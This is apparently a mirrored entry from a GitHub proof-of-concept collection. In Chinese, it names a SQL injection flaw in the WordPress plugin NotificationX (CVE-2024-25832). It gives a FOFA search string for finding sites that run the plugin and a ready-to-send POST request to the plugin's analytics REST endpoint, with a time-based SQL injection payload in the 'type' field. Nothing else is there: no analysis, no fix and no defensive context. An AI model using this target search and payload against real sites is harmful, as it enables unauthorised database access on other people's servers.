mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
286 B
286 B
WordPress插件NotificationX存在sql注入漏洞(CVE-2024-25832)
fofa
body="/wp-content/plugins/notificationx"
poc
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host:
Content-Type: application/json
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}